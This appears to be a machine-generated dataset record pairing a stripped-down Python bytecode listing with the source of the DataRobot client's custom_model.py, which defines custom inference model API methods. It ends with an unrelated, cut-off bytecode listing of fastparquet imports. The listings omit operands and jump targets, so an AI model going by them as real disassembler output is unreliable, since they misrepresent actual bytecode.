BUILD_TUPLE LOAD_FAST custom_model_kwargs CALL_FUNCTION POP_TOP LOAD_FAST language LOAD_FAST self STORE_ATTR language LOAD_FAST target_name LOAD_FAST self STORE_ATTR target_name LOAD_FAST training_dataset_id LOAD_FAST self STORE_ATTR training_dataset_id LOAD_FAST training_dataset_version_id LOAD_FAST self STORE_ATTR training_dataset_version_id LOAD_FAST training_data_assignment_in_progress LOAD_FAST self STORE_ATTR training_data_assignment_in_progress LOAD_FAST positive_class_label LOAD_FAST self STORE_ATTR positive_class_label LOAD_FAST negative_class_label LOAD_FAST self STORE_ATTR negative_class_label LOAD_FAST class_labels LOAD_FAST self STORE_ATTR class_labels LOAD_FAST prediction_threshold LOAD_FAST self STORE_ATTR prediction_threshold LOAD_FAST training_data_file_name LOAD_FAST self STORE_ATTR training_data_file_name LOAD_FAST training_data_partition_column LOAD_FAST self STORE_ATTR training_data_partition_column LOAD_FAST network_egress_policy LOAD_FAST self STORE_ATTR network_egress_policy LOAD_FAST maximum_memory LOAD_FAST self STORE_ATTR maximum_memory LOAD_FAST replicas LOAD_FAST self STORE_ATTR replicas LOAD_FAST is_training_data_for_versions_permanently_enabled LOAD_FAST self STORE_ATTR is_training_data_for_versions_permanently_enabled LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD list LOAD_FAST is_deployed LOAD_FAST order_by LOAD_FAST search_for CALL_METHOD RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD get LOAD_FAST custom_model_id CALL_METHOD RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD download_latest_version LOAD_FAST file_path CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST target_type LOAD_GLOBAL CUSTOM_MODEL_TARGET_TYPE LOAD_ATTR REQUIRES_TARGET_NAME COMPARE_OP in POP_JUMP_IF_FALSE LOAD_FAST target_name LOAD_CONST None COMPARE_OP is POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'target_name is required for custom models with target type ' LOAD_FAST target_type FORMAT_VALUE BUILD_STRING CALL_FUNCTION RAISE_VARARGS LOAD_FAST class_labels POP_JUMP_IF_FALSE LOAD_FAST class_labels_file POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'class_labels and class_labels_file cannot be used together' CALL_FUNCTION RAISE_VARARGS LOAD_FAST class_labels_file POP_JUMP_IF_FALSE LOAD_GLOBAL open LOAD_FAST class_labels_file CALL_FUNCTION SETUP_WITH to 90 STORE_FAST f LOAD_CONST <code object <listcomp> at 0x7fab34017ed0, file "f.py", line 682> LOAD_CONST 'CustomInferenceModel.create.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST f LOAD_METHOD read CALL_METHOD LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST class_labels POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR create LOAD_FAST name LOAD_FAST target_type LOAD_FAST description LOAD_FAST language LOAD_FAST target_name LOAD_FAST positive_class_label LOAD_FAST negative_class_label LOAD_FAST prediction_threshold LOAD_FAST class_labels LOAD_FAST network_egress_policy LOAD_FAST maximum_memory LOAD_FAST replicas LOAD_FAST is_training_data_for_versions_permanently_enabled LOAD_CONST ('language', 'target_name', 'positive_class_label', 'negative_class_label', 'prediction_threshold', 'class_labels', 'network_egress_policy', 'maximum_memory', 'replicas', 'is_training_data_for_versions_permanently_enabled') CALL_FUNCTION RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST label LOAD_FAST label POP_JUMP_IF_FALSE LOAD_FAST label LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD copy_custom_model LOAD_FAST custom_model_id CALL_METHOD RETURN_VALUE LOAD_FAST class_labels POP_JUMP_IF_FALSE LOAD_FAST class_labels_file POP_JUMP_IF_FALSE LOAD_GLOBAL ValueError LOAD_CONST 'class_labels and class_labels_file cannot be used together' CALL_FUNCTION RAISE_VARARGS LOAD_FAST class_labels_file POP_JUMP_IF_FALSE LOAD_GLOBAL open LOAD_FAST class_labels_file CALL_FUNCTION SETUP_WITH to 58 STORE_FAST f LOAD_CONST <code object <listcomp> at 0x7fab34017300, file "f.py", line 784> LOAD_CONST 'CustomInferenceModel.update.<locals>.<listcomp>' MAKE_FUNCTION LOAD_FAST f LOAD_METHOD read CALL_METHOD LOAD_METHOD split LOAD_CONST '\n' CALL_METHOD GET_ITER CALL_FUNCTION STORE_FAST class_labels POP_BLOCK LOAD_CONST None WITH_CLEANUP_START WITH_CLEANUP_FINISH END_FINALLY LOAD_GLOBAL super CALL_FUNCTION LOAD_ATTR update LOAD_FAST name LOAD_FAST description LOAD_FAST language LOAD_FAST target_name LOAD_FAST positive_class_label LOAD_FAST negative_class_label LOAD_FAST prediction_threshold LOAD_FAST class_labels LOAD_FAST is_training_data_for_versions_permanently_enabled LOAD_CONST ('language', 'target_name', 'positive_class_label', 'negative_class_label', 'prediction_threshold', 'class_labels', 'is_training_data_for_versions_permanently_enabled') CALL_FUNCTION POP_TOP LOAD_CONST None RETURN_VALUE BUILD_LIST LOAD_FAST .0 FOR_ITER to 18 STORE_FAST label LOAD_FAST label POP_JUMP_IF_FALSE LOAD_FAST label LIST_APPEND JUMP_ABSOLUTE RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD refresh CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_GLOBAL super CALL_FUNCTION LOAD_METHOD delete CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE LOAD_FAST dataset_id LOAD_FAST partition_column LOAD_CONST ('dataset_id', 'partition_column') BUILD_CONST_KEY_MAP STORE_FAST payload LOAD_FAST self LOAD_ATTR _path FORMAT_VALUE LOAD_FAST self LOAD_ATTR id FORMAT_VALUE LOAD_CONST '/trainingData/' BUILD_STRING STORE_FAST path LOAD_FAST self LOAD_ATTR _client LOAD_ATTR patch LOAD_FAST path LOAD_FAST payload LOAD_CONST ('data',) CALL_FUNCTION STORE_FAST response LOAD_FAST max_wait LOAD_CONST None COMPARE_OP is not POP_JUMP_IF_FALSE LOAD_GLOBAL wait_for_async_resolution LOAD_FAST self LOAD_ATTR _client LOAD_FAST response LOAD_ATTR headers LOAD_CONST 'Location' BINARY_SUBSCR LOAD_FAST max_wait CALL_FUNCTION POP_TOP LOAD_FAST self LOAD_METHOD refresh CALL_METHOD POP_TOP LOAD_CONST None RETURN_VALUE
from __future__ import annotations from typing import Any, cast, Dict, List, Optional, Type, TypeVar import trafaret as t from datarobot._compat import Int, String from datarobot.enums import ( CUSTOM_MODEL_TARGET_TYPE, DEFAULT_MAX_WAIT, NETWORK_EGRESS_POLICY, TARGET_TYPE, ) from datarobot.errors import ClientError from datarobot.models.api_object import APIObject from datarobot.models.custom_model_version import CustomModelVersion from datarobot.utils import deprecated from datarobot.utils.pagination import unpaginate from datarobot.utils.waiters import wait_for_async_resolution T_CustomModelBase = TypeVar("T_CustomModelBase", bound="_CustomModelBase") class _CustomModelBase(APIObject): # pylint: disable=missing-class-docstring _path = "customModels/" _converter = t.Dict( { t.Key("id"): String(), t.Key("name"): String(), t.Key("description"): String(allow_blank=True), t.Key( "supports_binary_classification", optional=True, default=False ): t.Bool(), t.Key("supports_regression", optional=True, default=False): t.Bool(), t.Key("latest_version", optional=True, default=None): t.Or( CustomModelVersion.schema, t.Null() ), t.Key("deployments_count", optional=True, default=None): Int(), t.Key("created_by"): String(), t.Key("updated") >> "updated_at": String(), t.Key("created") >> "created_at": String(), t.Key("target_type", optional=True, default=None): String(), } ).ignore_extra("*") def __init__(self, **kwargs: Any) -> None: self._set_values(**kwargs) def __repr__(self) -> str: return f"{self.__class__.__name__}({self.name or self.id!r})" def _set_values( # pylint: disable=missing-function-docstring self, id: str, name: str, description: str, supports_binary_classification: bool, supports_regression: bool, latest_version: CustomModelVersion, deployments_count: int, created_by: str, updated_at: str, created_at: str, target_type: str, ) -> None: self.id = id self.name = name self.description = description self.target_type = target_type if supports_binary_classification and supports_regression: raise ValueError("Model should support only 1 target type") if not target_type: if supports_binary_classification: self.target_type = CUSTOM_MODEL_TARGET_TYPE.BINARY elif supports_regression: self.target_type = CUSTOM_MODEL_TARGET_TYPE.REGRESSION else: raise ValueError("Target type must be provided") else: if ( target_type != CUSTOM_MODEL_TARGET_TYPE.BINARY and supports_binary_classification ): raise ValueError( "Cannot specify both target_type {} and " "supports_binary_classification.".format(target_type) ) elif ( target_type != CUSTOM_MODEL_TARGET_TYPE.REGRESSION and supports_regression ): raise ValueError( "Cannot specify both target_type {} and " "supports_regression.".format(target_type) ) self.latest_version = CustomModelVersion(**latest_version) if latest_version else None # type: ignore[arg-type] self.deployments_count = deployments_count self.created_by = created_by self.updated_at = updated_at self.created_at = created_at @classmethod def _check_model_type(cls, data: Dict[str, Any]) -> bool: return cast(bool, data["customModelType"] == cls._model_type) # type: ignore[attr-defined] @classmethod def list( # pylint: disable=missing-function-docstring cls: Type[T_CustomModelBase], is_deployed: Optional[bool] = None, order_by: Optional[str] = None, search_for: Optional[str] = None, ) -> List[T_CustomModelBase]: """List instances of _CustomModelBase. .. versionadded:: v2.21 Parameters ---------- is_deployed: bool, optional Flag for filtering custom inference models. If set to `True`, only deployed custom inference models are returned. If set to `False`, only not deployed custom inference models are returned. search_for: str, optional String for filtering custom inference models - only custom. inference models that contain the string in name or description will be returned. If not specified, all custom models will be returned. order_by: str, optional Property to sort custom inference models by. Supported properties are "created" and "updated". Prefix the attribute name with a dash to sort in descending order, e.g. order_by='-created'. By default, the order_by parameter is None which will result in custom models being returned in order of creation time descending Returns ------- List[T_CustomModelBase] A list of instances of _CustomModelBase. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ payload = { "custom_model_type": cls._model_type, # type: ignore[attr-defined] "is_deployed": is_deployed, "order_by": order_by, "search_for": search_for, } data = unpaginate(cls._path, payload, cls._client) return [cls.from_server_data(item) for item in data] @classmethod def get(cls: Type[T_CustomModelBase], custom_model_id: str) -> T_CustomModelBase: """Get custom inference model by id. .. versionadded:: v2.21 Parameters ---------- custom_model_id: str ID of the _CustomModelBase. Returns ------- T_CustomModelBase Retrieved instance of _CustomModelBase Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ path = f"{cls._path}{custom_model_id}/" data = cls._client.get(path).json() if not cls._check_model_type(data): raise Exception(f"Requested model is not a {cls._model_type} model") # type: ignore[attr-defined] return cls.from_server_data(data) def download_latest_version(self, file_path: str) -> None: """Download the latest custom inference model version. .. versionadded:: v2.21 Parameters ---------- file_path: str Path to create a file with custom model version content. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ path = f"{self._path}{self.id}/download/" response = self._client.get(path) with open(file_path, "wb") as f: f.write(response.content) @classmethod def create( cls: Type[T_CustomModelBase], name: str, target_type: TARGET_TYPE, description: Optional[str] = None, **kwargs: Any, ) -> T_CustomModelBase: """Create a custom inference model. .. versionadded:: v2.21 Parameters ---------- name: str The name of the custom inference model. target_type: datarobot.TARGET_TYPE The target type of the custom inference model. Values: [`datarobot.TARGET_TYPE.BINARY`, `datarobot.TARGET_TYPE.REGRESSION`, `datarobot.TARGET_TYPE.MULTICLASS`, `datarobot.TARGET_TYPE.UNSTRUCTURED`, `datarobot.TARGET_TYPE.ANOMALY`] description: str, optional The description of the custom inference model. Returns ------- CustomModelVersion Created instance of _CustomModelBase. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ payload = dict( custom_model_type=cls._model_type, # type: ignore[attr-defined] name=name, description=description, **kwargs, ) if target_type in CUSTOM_MODEL_TARGET_TYPE.ALL: payload["target_type"] = target_type if target_type == CUSTOM_MODEL_TARGET_TYPE.BINARY: payload["supports_binary_classification"] = True elif target_type == CUSTOM_MODEL_TARGET_TYPE.REGRESSION: payload["supports_regression"] = True elif target_type not in CUSTOM_MODEL_TARGET_TYPE.ALL: raise ClientError( "Unsupported target_type. target_type must be in {}.".format( CUSTOM_MODEL_TARGET_TYPE.ALL ), 422, ) response = cls._client.post(cls._path, data=payload) return cls.from_server_data(response.json()) @classmethod def copy_custom_model( cls: Type[T_CustomModelBase], custom_model_id: str, ) -> T_CustomModelBase: """Create a custom inference model by copying existing one. .. versionadded:: v2.21 Parameters ---------- custom_model_id: str id of the custom inference model to copy Returns ------- T_CustomModelBase Created a custom inference model. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ path = f"{cls._path}fromCustomModel/" response = cls._client.post(path, data={"custom_model_id": custom_model_id}) return cls.from_server_data(response.json()) def update( self, name: Optional[str] = None, description: Optional[str] = None, **kwargs: Any, ) -> None: """Update custom inference model properties. .. versionadded:: v2.21 Parameters ---------- name: str, optional New custom model name. description: str, optional New custom model description. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ payload = dict(name=name, description=description, **kwargs) url = f"{self._path}{self.id}/" response = self._client.patch(url, data=payload) data = response.json() self._set_values(**self._safe_data(data, do_recursive=True)) # type: ignore[no-untyped-call] def refresh(self) -> None: """Update custom inference model with the latest data from server. .. versionadded:: v2.21 Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ url = self._path.format(self.id) path = f"{url}{self.id}/" response = self._client.get(path) data = response.json() self._set_values(**self._safe_data(data, do_recursive=True)) # type: ignore[no-untyped-call] def delete(self) -> None: """Delete custom inference model. .. versionadded:: v2.21 Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ url = f"{self._path}{self.id}/" self._client.delete(url) class CustomInferenceModel(_CustomModelBase): """A custom inference model. .. versionadded:: v2.21 Attributes ---------- id: str The ID of the custom model. name: str The name of the custom model. language: str The programming language of the custom inference model. Can be "python", "r", "java" or "other". description: str The description of the custom inference model. target_type: datarobot.TARGET_TYPE Target type of the custom inference model. Values: [`datarobot.TARGET_TYPE.BINARY`, `datarobot.TARGET_TYPE.REGRESSION`, `datarobot.TARGET_TYPE.MULTICLASS`, `datarobot.TARGET_TYPE.UNSTRUCTURED`, `datarobot.TARGET_TYPE.ANOMALY`] target_name: str, optional Target feature name. It is optional(ignored if provided) for `datarobot.TARGET_TYPE.UNSTRUCTURED` or `datarobot.TARGET_TYPE.ANOMALY` target type. latest_version: datarobot.CustomModelVersion or None The latest version of the custom model if the model has a latest version. deployments_count: int Number of a deployments of the custom models. target_name: str The custom model target name. positive_class_label: str For binary classification projects, a label of a positive class. negative_class_label: str For binary classification projects, a label of a negative class. prediction_threshold: float For binary classification projects, a threshold used for predictions. training_data_assignment_in_progress: bool Flag describing if training data assignment is in progress. training_dataset_id: str, optional The ID of a dataset assigned to the custom model. training_dataset_version_id: str, optional The ID of a dataset version assigned to the custom model. training_data_file_name: str, optional The name of assigned training data file. training_data_partition_column: str, optional The name of a partition column in a training dataset assigned to the custom model. created_by: str The username of a user who created the custom model. updated_at: str ISO-8601 formatted timestamp of when the custom model was updated created_at: str ISO-8601 formatted timestamp of when the custom model was created network_egress_policy: datarobot.NETWORK_EGRESS_POLICY, optional Determines whether the given custom model is isolated, or can access the public network. Values: [`datarobot.NETWORK_EGRESS_POLICY.NONE`, `datarobot.NETWORK_EGRESS_POLICY.DR_API_ACCESS`, `datarobot.NETWORK_EGRESS_POLICY.PUBLIC`]. Note: `datarobot.NETWORK_EGRESS_POLICY.DR_API_ACCESS` value is only supported by the SaaS (cloud) environment. maximum_memory: int, optional The maximum memory that might be allocated by the custom-model. If exceeded, the custom-model will be killed by k8s. replicas: int, optional A fixed number of replicas that will be deployed in the cluster is_training_data_for_versions_permanently_enabled: bool, optional Whether training data assignment on the version level is permanently enabled for the model. """ _model_type: str = "inference" _converter = ( _CustomModelBase._converter + { t.Key("language"): String(allow_blank=True), t.Key("target_name", optional=True): String(), t.Key("training_dataset_id", optional=True): String(), t.Key("training_dataset_version_id", optional=True): String(), t.Key("training_data_assignment_in_progress"): t.Bool(), t.Key("positive_class_label", optional=True): String(), t.Key("negative_class_label", optional=True): String(), t.Key("class_labels", optional=True): t.List(String()), t.Key("prediction_threshold", optional=True): t.Float(), t.Key("training_data_file_name", optional=True): String(), t.Key("training_data_partition_column", optional=True): String(), t.Key("network_egress_policy", optional=True): t.Enum( *NETWORK_EGRESS_POLICY.ALL ), t.Key("maximum_memory", optional=True): Int(), t.Key("replicas", optional=True): Int(), t.Key( "is_training_data_for_versions_permanently_enabled", optional=True, default=False, ): t.Bool(), } ).allow_extra("*") def _set_values( # type: ignore[override] # pylint: disable=arguments-renamed self, language: str, training_data_assignment_in_progress: bool, is_training_data_for_versions_permanently_enabled: bool, target_name: Optional[str] = None, positive_class_label: Optional[str] = None, negative_class_label: Optional[str] = None, prediction_threshold: Optional[float] = None, class_labels: Optional[List[str]] = None, training_dataset_id: Optional[str] = None, training_dataset_version_id: Optional[str] = None, training_data_file_name: Optional[str] = None, training_data_partition_column: Optional[str] = None, network_egress_policy: Optional[NETWORK_EGRESS_POLICY] = None, maximum_memory: Optional[int] = None, replicas: Optional[int] = None, **custom_model_kwargs: Any, ) -> None: super()._set_values(**custom_model_kwargs) self.language = language self.target_name = target_name self.training_dataset_id = training_dataset_id self.training_dataset_version_id = training_dataset_version_id self.training_data_assignment_in_progress = training_data_assignment_in_progress self.positive_class_label = positive_class_label self.negative_class_label = negative_class_label self.class_labels = class_labels self.prediction_threshold = prediction_threshold self.training_data_file_name = training_data_file_name self.training_data_partition_column = training_data_partition_column self.network_egress_policy = network_egress_policy self.maximum_memory = maximum_memory self.replicas = replicas self.is_training_data_for_versions_permanently_enabled = ( is_training_data_for_versions_permanently_enabled ) @classmethod def list( # type: ignore[override] # pylint: disable=arguments-renamed cls, is_deployed: Optional[bool] = None, search_for: Optional[str] = None, order_by: Optional[str] = None, ) -> List[CustomInferenceModel]: """List custom inference models available to the user. .. versionadded:: v2.21 Parameters ---------- is_deployed: bool, optional Flag for filtering custom inference models. If set to `True`, only deployed custom inference models are returned. If set to `False`, only not deployed custom inference models are returned. search_for: str, optional String for filtering custom inference models - only custom inference models that contain the string in name or description will be returned. If not specified, all custom models will be returned order_by: str, optional Property to sort custom inference models by. Supported properties are "created" and "updated". Prefix the attribute name with a dash to sort in descending order, e.g. order_by='-created'. By default, the order_by parameter is None which will result in custom models being returned in order of creation time descending. Returns ------- List[CustomInferenceModel] A list of custom inference models. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status datarobot.errors.ServerError If the server responded with 5xx status """ return super().list(is_deployed, order_by, search_for) @classmethod def get(cls, custom_model_id: str) -> CustomInferenceModel: """Get custom inference model by id. .. versionadded:: v2.21 Parameters ---------- custom_model_id: str The ID of the custom inference model. Returns ------- CustomInferenceModel Retrieved custom inference model. Raises ------ datarobot.errors.ClientError The ID the server responded with 4xx status. datarobot.errors.ServerError The ID the server responded with 5xx status. """ return super().get(custom_model_id) def download_latest_version(self, file_path: str) -> None: """Download the latest custom inference model version. .. versionadded:: v2.21 Parameters ---------- file_path: str Path to create a file with custom model version content. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ super().download_latest_version(file_path) @classmethod def create( # type: ignore[override] # pylint: disable=arguments-differ,arguments-renamed cls, name: str, target_type: TARGET_TYPE, target_name: Optional[str] = None, language: Optional[str] = None, description: Optional[str] = None, positive_class_label: Optional[str] = None, negative_class_label: Optional[str] = None, prediction_threshold: Optional[float] = None, class_labels: Optional[List[str]] = None, class_labels_file: Optional[str] = None, network_egress_policy: Optional[NETWORK_EGRESS_POLICY] = None, maximum_memory: Optional[int] = None, replicas: Optional[int] = None, is_training_data_for_versions_permanently_enabled: Optional[bool] = None, ) -> CustomInferenceModel: """Create a custom inference model. .. versionadded:: v2.21 Parameters ---------- name: str Name of the custom inference model. target_type: datarobot.TARGET_TYPE Target type of the custom inference model. Values: [`datarobot.TARGET_TYPE.BINARY`, `datarobot.TARGET_TYPE.REGRESSION`, `datarobot.TARGET_TYPE.MULTICLASS`, `datarobot.TARGET_TYPE.UNSTRUCTURED`] target_name: str, optional Target feature name. It is optional(ignored if provided) for `datarobot.TARGET_TYPE.UNSTRUCTURED` target type. language: str, optional Programming language of the custom learning model. description: str, optional Description of the custom learning model. positive_class_label: str, optional Custom inference model positive class label for binary classification. negative_class_label: str, optional Custom inference model negative class label for binary classification. prediction_threshold: float, optional Custom inference model prediction threshold. class_labels: List[str], optional Custom inference model class labels for multiclass classification. Cannot be used with class_labels_file. class_labels_file: str, optional Path to file containing newline separated class labels for multiclass classification. Cannot be used with class_labels. network_egress_policy: datarobot.NETWORK_EGRESS_POLICY, optional Determines whether the given custom model is isolated, or can access the public network. Values: [`datarobot.NETWORK_EGRESS_POLICY.NONE`, `datarobot.NETWORK_EGRESS_POLICY.DR_API_ACCESS`, `datarobot.NETWORK_EGRESS_POLICY.PUBLIC`] Note: `datarobot.NETWORK_EGRESS_POLICY.DR_API_ACCESS` value is only supported by the SaaS (cloud) environment. maximum_memory: int, optional The maximum memory that might be allocated by the custom-model. If exceeded, the custom-model will be killed by k8s. replicas: int, optional A fixed number of replicas that will be deployed in the cluster. is_training_data_for_versions_permanently_enabled: bool, optional Permanently enable training data assignment on the version level for the current model, instead of training data assignment on the model level. Returns ------- CustomInferenceModel Created a custom inference model. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ if ( target_type in CUSTOM_MODEL_TARGET_TYPE.REQUIRES_TARGET_NAME and target_name is None ): raise ValueError( f"target_name is required for custom models with target type {target_type}" ) if class_labels and class_labels_file: raise ValueError( "class_labels and class_labels_file cannot be used together" ) if class_labels_file: with open(class_labels_file) as f: # pylint: disable=unspecified-encoding class_labels = [label for label in f.read().split("\n") if label] return super().create( name, target_type, description, language=language, target_name=target_name, positive_class_label=positive_class_label, negative_class_label=negative_class_label, prediction_threshold=prediction_threshold, class_labels=class_labels, network_egress_policy=network_egress_policy, maximum_memory=maximum_memory, replicas=replicas, is_training_data_for_versions_permanently_enabled=is_training_data_for_versions_permanently_enabled, ) @classmethod def copy_custom_model( cls, custom_model_id: str, ) -> CustomInferenceModel: """Create a custom inference model by copying existing one. .. versionadded:: v2.21 Parameters ---------- custom_model_id: str The ID of the custom inference model to copy. Returns ------- CustomInferenceModel Created a custom inference model. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ return super().copy_custom_model(custom_model_id) def update( # type: ignore[override] # pylint: disable=arguments-differ,arguments-renamed self, name: Optional[str] = None, language: Optional[str] = None, description: Optional[str] = None, target_name: Optional[str] = None, positive_class_label: Optional[str] = None, negative_class_label: Optional[str] = None, prediction_threshold: Optional[float] = None, class_labels: Optional[List[str]] = None, class_labels_file: Optional[str] = None, is_training_data_for_versions_permanently_enabled: Optional[bool] = None, ) -> None: """Update custom inference model properties. .. versionadded:: v2.21 Parameters ---------- name: str, optional New custom inference model name. language: str, optional New custom inference model programming language. description: str, optional New custom inference model description. target_name: str, optional New custom inference model target name. positive_class_label: str, optional New custom inference model positive class label. negative_class_label: str, optional New custom inference model negative class label. prediction_threshold: float, optional New custom inference model prediction threshold. class_labels: List[str], optional custom inference model class labels for multiclass classification Cannot be used with class_labels_file class_labels_file: str, optional Path to file containing newline separated class labels for multiclass classification. Cannot be used with class_labels is_training_data_for_versions_permanently_enabled: bool, optional Permanently enable training data assignment on the version level for the current model, instead of training data assignment on the model level. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ if class_labels and class_labels_file: raise ValueError( "class_labels and class_labels_file cannot be used together" ) if class_labels_file: with open(class_labels_file) as f: # pylint: disable=unspecified-encoding class_labels = [label for label in f.read().split("\n") if label] super().update( name, description, language=language, target_name=target_name, positive_class_label=positive_class_label, negative_class_label=negative_class_label, prediction_threshold=prediction_threshold, class_labels=class_labels, is_training_data_for_versions_permanently_enabled=is_training_data_for_versions_permanently_enabled, ) def refresh(self) -> None: """Update custom inference model with the latest data from server. .. versionadded:: v2.21 Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ super().refresh() def delete(self) -> None: """Delete custom inference model. .. versionadded:: v2.21 Raises ------ datarobot.errors.ClientError If the server responded with 4xx status. datarobot.errors.ServerError If the server responded with 5xx status. """ super().delete() @deprecated( deprecated_since_version="v3.2", will_remove_version="v3.4", message="Please use training data assignment on the model version level: " "CustomModelVersion.create_from_previous or CustomModelVersion.create_clean", ) def assign_training_data( self, dataset_id: str, partition_column: Optional[str] = None, max_wait: int = DEFAULT_MAX_WAIT, ) -> None: """Assign training data to the custom inference model. .. versionadded:: v2.21 Parameters ---------- dataset_id: str The id of the training dataset to be assigned. partition_column: str, optional Name of a partition column in the training dataset. max_wait: int, optional Max time to wait for a training data assignment. If set to None - method will return without waiting. Defaults to 10 min. Raises ------ datarobot.errors.ClientError If the server responded with 4xx status datarobot.errors.ServerError If the server responded with 5xx status """ payload = {"dataset_id": dataset_id, "partition_column": partition_column} path = f"{self._path}{self.id}/trainingData/" response = self._client.patch(path, data=payload) if max_wait is not None: wait_for_async_resolution( self._client, response.headers["Location"], max_wait ) self.refresh()
data/datarobot-3.3.1/datarobot/models/custom_model.py
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LOAD_CONST 0 LOAD_CONST None IMPORT_NAME numpy STORE_NAME np LOAD_CONST 0 LOAD_CONST None IMPORT_NAME pandas STORE_NAME pd LOAD_CONST 0 LOAD_CONST ('encoding',) IMPORT_NAME fastparquet IMPORT_FROM encoding STORE_NAME encoding POP_TOP LOAD_CONST 0 LOAD_CONST ('read_plain',) IMPORT_NAME fastparquet.encoding IMPORT_FROM read_plain STORE_NAME read_plain POP_TOP LOAD_CONST 0 LOAD_CONST None IMPORT_NAME fastparquet.cencoding IMPORT_FROM cencoding STORE_NAME encoding POP_TOP LOAD_CONST 0 LOAD_CONST ('decompress_data', 'rev_map', 'decom_into') IMPORT_NAME fastparquet.compression IMPORT_FROM decompress_data STORE_NAME decompress_data IMPORT_FROM rev_map STORE_NAME rev_map IMPORT_FROM decom_into STORE_NAME decom_into POP_TOP LOAD_CONST 0 LOAD_CONST ('convert', 'simple', 'converts_inplace') IMPORT_NAME fastparquet.converted_types IMPORT_FROM convert STORE_NAME convert IMPORT_FROM simple STORE_NAME simple IMPORT_FROM converts_inplace STORE_NAME converts_inplace POP_TOP LOAD_CONST 0 LOAD_CONST ('_is_list_like', '_is_map_like') IMPORT_NAME fastparquet.schema IMPORT_FROM _is_list_like STORE_NAME _is_list_like IMPORT_FROM _is_map_like STORE_NAME _is_map_like POP_TOP LOAD_CONST 0 LOAD_CONST ('unpack_byte_array',) IMPORT_NAME fastparquet.speedups IMPORT_FROM unpack_byte_array STORE_NAME unpack_byte_array POP_TOP LOAD_CONST 0 LOAD_CONST ('parquet_thrift',) IMPORT_NAME fastparquet IMPORT_FROM parquet_thrift STORE_NAME parquet_thrift POP_TOP LOAD_CONST 0 LOAD_CONST ('ThriftObject',) IMPORT_NAME fastparquet.cencoding IMPORT_FROM ThriftObject STORE_NAME ThriftObject POP_TOP LOAD_CONST 0 LOAD_CONST ('val_to_num',) IMPORT_NAME fastparquet.util IMPORT_FROM val_to_num STORE_NAME val_to_num POP_TOP LOAD_CONST <code object _read_page at 0x7fab640fae40, file "f.py", line 16> LOAD_CONST '_read_page' MAKE_FUNCTION STORE_NAME _read_page LOAD_CONST (None,) LOAD_CONST <code object read_data at 0x7fab54105d20, file "f.py", line 35> LOAD_CONST 'read_data' MAKE_FUNCTION STORE_NAME read_data LOAD_CONST (None,) LOAD_CONST <code object read_def at 0x7fab7002b5d0, file "f.py", line 52> LOAD_CONST 'read_def' MAKE_FUNCTION STORE_NAME read_def LOAD_CONST (None,) LOAD_CONST <code object read_rep at 0x7fab54105150, file "f.py", line 85> LOAD_CONST 'read_rep' MAKE_FUNCTION STORE_NAME read_rep LOAD_CONST (False, False) LOAD_CONST <code object read_data_page at 0x7fab54105e40, file "f.py", line 102> LOAD_CONST 'read_data_page' MAKE_FUNCTION STORE_NAME read_data_page LOAD_CONST <code object skip_definition_bytes at 0x7fab54105300, file "f.py", line 179> LOAD_CONST 'skip_definition_bytes' MAKE_FUNCTION STORE_NAME skip_definition_bytes LOAD_CONST (False,) LOAD_CONST <code object read_dictionary_page at 0x7fab54105c00, file "f.py", line 187> LOAD_CONST 'read_dictionary_page' MAKE_FUNCTION STORE_NAME read_dictionary_page LOAD_CONST (None, False, None) LOAD_CONST <code object read_data_page_v2 at 0x7fab54105c90, file "f.py", line 210> LOAD_CONST 'read_data_page_v2' MAKE_FUNCTION STORE_NAME read_data_page_v2 LOAD_CONST (False, False, None, None, None) LOAD_CONST <code object read_col at 0x7fab81f0bf60, file "f.py", line 520> LOAD_CONST 'read_col' MAKE_FUNCTION STORE_NAME read_col LOAD_CONST (False, None, False) LOAD_CONST <code object read_row_group_arrays at 0x7fab81f0bed0, file "f.py", line 719> LOAD_CONST 'read_row_group_arrays' MAKE_FUNCTION STORE_NAME read_row_group_arrays LOAD_CONST (False, None, None, 'hive', None, False) LOAD_CONST <code object read_row_group at 0x7fab81f0b660, file "f.py", line 780> LOAD_CONST 'read_row_group' 